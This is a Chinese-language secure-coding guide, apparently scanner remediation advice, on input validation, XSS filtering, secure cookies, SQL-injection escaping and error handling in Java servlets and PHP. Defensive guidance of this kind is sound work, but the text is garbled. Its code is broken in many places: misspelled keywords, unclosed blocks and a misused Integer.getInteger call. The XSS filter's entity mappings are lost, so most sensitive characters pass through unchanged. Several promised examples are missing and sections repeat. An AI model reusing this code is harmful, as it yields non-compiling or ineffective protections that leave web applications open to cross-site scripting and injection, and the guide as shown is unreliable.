- **输入数据验证:虽然为了用户的方便,可以提供"客户端"层数据的数据验证,但必须使用 Servlet 在服务器层执行验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
- 一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容: [1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串")[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为"验证器"实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
- [1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
            }
            return isFieldValid;
        }
        ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
            // fieldValue is valid, continue processing request
            ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。 使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

```
// Java example to validate that a field is an int number
public Class Validator {
    public static boolean validateInt(String value) {
       boolean isFieldValid = false;
        trv {
        Integer.parseInt(value);
        isFieldValid = true;
        } catch (Exception e)
        isFieldValid = false;
        return isFieldValid;
   }
}
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
   // fieldValue is valid, continue processing request
}
```

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的"integerValue"存储在请求属性中,并按以下示例所示来使用:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

应用程序应处理的主要 Java 数据类型:

- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
        validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}</pre>
```

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

```
// Example to validate user selection against a list of options
public Class Validator {
   public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
        List list = Arrays.asList(options);
       if (list != null) {
       isValidValue = list.contains(value);
        } catch (Exception e) {
       return isValidValue;
   }
}
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
   // valid user selection, continue processing request
```

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: ^[a-zA-Z0-9]*\$

Java 1.3 或更早的版本不包含任何正则表达式包。建议将"Apache 正则表达式包"(请参阅以下"资源")与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    public static boolean matchPattern(String value, String expression) {
       boolean match = false;
        if (validateRequired(expression)) {
        RE r = new RE(expression);
        match = r.match(value);
        return match;
    }
}
// Verify that the userName request parameter is alphanumeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
   // userName is valid, continue processing request
```

Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

验证必需 cookie 值的示例:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
            // valid cookie value, continue processing request
            ...
        }
    }
}</pre>
```

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
...
public static String filter(String value) {
    if (value == null) {
        return null;
    }
    StringBuffer result = new StringBuffer(value.length());
    for (int i=0; i<value.length(); ++i) {
        switch (value.charAt(i)) {
        case '<':
        result.append("&lt;");
        break;
        case '>':
        result.append("&gt;");
        break;
        case '"':
        result.append("&quot;");
        break;
        case '"':
        result.append("&quot;");
        break;
```

```
case '\'':
       result.append("'");
       break;
       case '%':
       result.append("%");
       break;
       case ';':
       result.append("&#59;");
       break;
       case '(':
       result.append("(");
       break;
       case ')':
       result.append(")");
       break;
       case '&':
       result.append("&");
      case '+':
       result.append("+");
       break;
       default:
       result.append(value.charAt(i));
       break;
       return result;
   . . .
}
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 引进了过滤器,它支持拦截和转换 HTTP 请求或响应。

以下示例使用 Validator.filter 来用"Servlet 过滤器"清理响应:

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including
HTML tags!
  public class SensitiveCharsFilter implements Filter {
      public void doFilter(ServletRequest request,
         ServletResponse response,
          FilterChain chain)
         throws IOException, ServletException {
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse);response);
         chain.doFilter(request, wrapper);
         CharArrayWriter caw = new CharArrayWriter();
         caw.write(Validator.filter(wrapper.toString()));
         response.setContentType("text/html");
         response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      public class CharResponseWrapper extends HttpServletResponseWrapper {
         private CharArrayWriter output;
          public String toString() {
          return output.toString();
          public CharResponseWrapper(HttpServletResponse response) {
```

```
super(response);
output = new CharArrayWriter();
}

public PrintWriter getWriter() {
   return new PrintWriter(output);
}
}
}
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。 保护"用户"cookie 的示例:

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是一种强大的框架,用来实现所有以上数据验证需求。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts"bean:write"标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置"filter=false"标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required: 如果字段包含空格以外的任何字符, 便告成功。

mask: 如果值与掩码属性给定的正则表达式相匹配,便告成功。

range: 如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)), 便告成功。

maxLength: 如果字段长度小于或等于 max 属性, 便告成功。

minLength: 如果字段长度大于或等于 min 属性, 便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date: 如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard: 如果值可以是有效的信用卡号码,便告成功。

e-mail: 如果值可以是有效的电子邮件地址,便告成功。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <qlobal>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
        </validator>
        <validator name="mask"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
        <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required,mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
```

```
[2] JavaServer Faces 技术
"JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。
JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:
validate_doublerange: 在组件上注册 DoubleRangeValidator。
validate_length: 在组件上注册 LengthValidator。
validate_longrange: 在组件上注册 LongRangeValidator。
validate_required: 在组件上注册 RequiredValidator。
validate_stringrange: 在组件上注册 StringRangeValidator。
validator: 在组件上注册定制的 Validator。
JavaServer Faces API 定义以下 UlInput 和 UlOutput 处理器(标记):
input date:接受以 java.text.Date 实例格式化的 java.util.Date。
output date:显示以 java.text.Date 实例格式化的 java.util.Date。
input datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。
output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。
input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
output_number: 显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
input text: 接受单行文本字符串。
output text: 显示单行文本字符串。
input time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。
output time: 显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。
input hidden: 允许页面作者在页面中包括隐藏变量。
input secret: 接受不含空格的单行文本,并在输入时,将其显示为一组星号。
input_textarea: 接受多行文本。
output errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
output_label:将嵌套的组件显示为指定输入字段的标签。
```

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

output message: 显示本地化消息。

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 一

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循"模型视图控制器(MVC)"模式。在该模式中,Servlet 扮演"控制器"的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

- [1] 定义错误
- [2] 报告错误
- [3] 呈现错误
- [4] 错误映射
- [1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要 "user_name"字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

- (a) ERROR USERNAME REQUIRED: 该错误密钥用于显示消息,以通知用户需要 "user name" 字段;
- (b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户 "user_name"字段应该是字母数字;
- (c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户 "user_name" 值在数据库中重复;
- (d) ERROR_USERNAME_INVALID: 该错误密钥用于显示一般消息,以通知用户 "user_name" 值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys: 定义所有错误密钥

```
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
   public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
   public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
   public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
   public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
   ...
}
```

- Error: 封装个别错误

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {
    // Constructor given a specified error key
    public Error(String key) {
```

```
this(key, null);
}

// Constructor given a specified error key and array of placeholder objects
public Error(String key, Object[] values) {
    this.key = key;
    this.values = values;
}

// Returns the error key
public String getKey() {
    return this.key;
}

// Returns the placeholder values
public Object[] getValues() {
    return this.values;
}

private String key = null;
private Object[] values = null;
}
```

- Errors: 封装错误的集合

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
    // Adds an Error object to the Collection of errors for the specified bean property.
   public void addError(String property, Error error) {
    ArrayList propertyErrors = (ArrayList)errors.get(property);
   if (propertyErrors == null) {
   propertyErrors = new ArrayList();
    errors.put(property, propertyErrors);
   propertyErrors.put(error);
   // Returns true if there are any errors
   public boolean hasErrors() {
    return (errors.size > 0);
   // Returns the Errors for the specified property
   public ArrayList getErrors(String property) {
   return (ArrayList) errors.get(property);
   private HashMap errors = new HashMap();
```

以下是使用上述框架类来处理"user_name"字段验证错误的示例:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
```

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

- (a) Servlet 错误机制
- (b) JSP 错误机制

[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP (已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError, 或
- 抛出异常

好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
   rd.forward(request, response);
}
```

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。 请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:

- RuntimeException

- ServletException
- IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令:

```
<%@ page isErrorPage="true" %>
```

isErrorPage 伪指令导致"exception"变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

- (a) 资源束
- (b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/ 值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages \,
public Class ErrorMessageResource {
    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
   // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        {\tt ResourceBundle\ errorMessageResource = ResourceBundle.getBundle("\tt ErrorMessages",\ locale);}
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
       // Format the message using the specified placeholders args
        return MessageFormat.format(errorMessage, args);
       } else {
        return errorMessage;
    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user name" property
    ArrayList userNameErrors = errors.getErrors("user name");
   ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
       // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "\r\n");
}
```

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。

[4] 错误映射

通常情况下,"Servlet 容器"会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在"Web 部署描述符(web.xml)"中,如以下示例所指定:

```
<location>/errors/internalError.html</error-page>
</error-page>
...
</error-page>
...
</error-page>
...
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <qlobal>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
       msg="errors.required">
        </validator>
        <validator name="mask"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
        <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required, mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </var>
        </field>
        </form>
    </formset>
</form-validation>
```

Struts JSP 标记库定义了有条件地显示一组累计错误消息的"errors"标记,如以下示例所示:

```
<html:text property="username" size="16"/>
  <html:submit><bean:message key="button.submit"/></html:submit>
  <html:reset><bean:message key="button.reset"/></html:reset>
  </html:form>
</body>
</html:html>
```

[2] JavaServer Faces 技术 "JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。

JavaServer Faces API 定义"output_errors"UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端 标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
<jsp:useBean id="UserBean"
   class="myApplication.UserBean" scope="session" />
<f:use faces>
 <h:form formName="loginForm" >
    <h:input text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        f:validate\_length minimum="8" maximum="20"/>
    </h:input text>
    <!-- display errors if present -->
    <h:output errors id="loginErrors" clientId="userName"/>
    <h:command button id="submit" label="Submit" commandName="submit" />
  </h:form>
</f:use_faces>
```

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 一

http://java.sun.com/j2ee/javaserverfaces/

PHP

SQL 注入

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** 过滤用户输入

将任何数据传给 **SQL** 查询之前,应始终先使用筛选技术来适当过滤。 这无论如何强调都不为过。 过滤用户输入可让许多注入缺陷在到达数据库之前便得到更正。

** 对用户输入加引号

不论任何数据类型,只要数据库允许,便用单引号括住所有用户数据,始终是好的观念。 MySQL 允许此格式化技术。

** 转义数据值

如果使用 MySQL 4.3.0 或更新的版本,您应该用 mysql_real_escape_string() 来转义所有字符串。 如果使用旧版的 MySQL,便应该使用 mysql_escape_string() 函数。 如果未使用 MySQL,您可以选择使用特定数据库的特定换码功能。 如果不知道换码功能,您可以选择使用较一般的换码功能,例如,addslashes()。

如果使用 PEAR DB 数据库抽象层,您可以使用 DB::quote()方法或使用?之类的查询占位符,它会自动转义替换占位符的值。

参考资料

http://ca3.php.net/mysql_real_escape_string http://ca.php.net/mysql_escape_string http://ca.php.net/addslashes http://pear.php.net/package-info.php?package=DB

** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容: [1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串") [3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。 [1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// PHP example to validate required fields
function validateRequired($input) {
    ...
    $pass = false;
    if (strlen(trim($input))>0) {
        $pass = true;
    }
    return $pass;
    ...
}
...
if (validateRequired($fieldName)) {
    // fieldName is valid, continue processing request
    ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: ^[a-zA-Z0-9]+\$

[7] cookie 值

适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。 [8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应 的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

PHP 包含一些自动化清理实用程序函数,如 htmlentities():

```
$input = htmlentities($input, ENT_QUOTES, UTF-8);
```

此外,为了避免"跨站点脚本编制"的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:

```
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie, 您可以使用以下代码示例:

```
    $value = "some_value";
    $time = time()+3600;
    $path = "/application/";
    $domain = ".example.com";
    $secure = 1;

    setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
```

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

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跨站点脚本编制

** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容: [1]必需字段[2]字段

数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串")[3]字段长度[4]字段范围[5]字段选项[6]字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。[1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// PHP example to validate required fields
function validateRequired($input) {
    ...
    $pass = false;
    if (strlen(trim($input))>0) {
        $pass = true;
    }
    return $pass;
    ...
}
...
if (validateRequired($fieldName)) {
    // fieldName is valid, continue processing request
    ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: ^[a-zA-Z0-9]+\$

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PHP 包含一些自动化清理实用程序函数,如 htmlentities():

```
$input = htmlentities($input, ENT_QUOTES, 'UTF-8');
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此外,为了避免"跨站点脚本编制"的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:

```
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie, 您可以使用以下代码示例:

```
<$php

$value = "some_value";
$time = time()+3600;
$path = "/application/";
$domain = ".example.com";
$secure = 1;

setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
```

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

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通过框架钓鱼

链接注入 (便于跨站请求伪造)

发现数据库错误模式

** 过滤用户输入

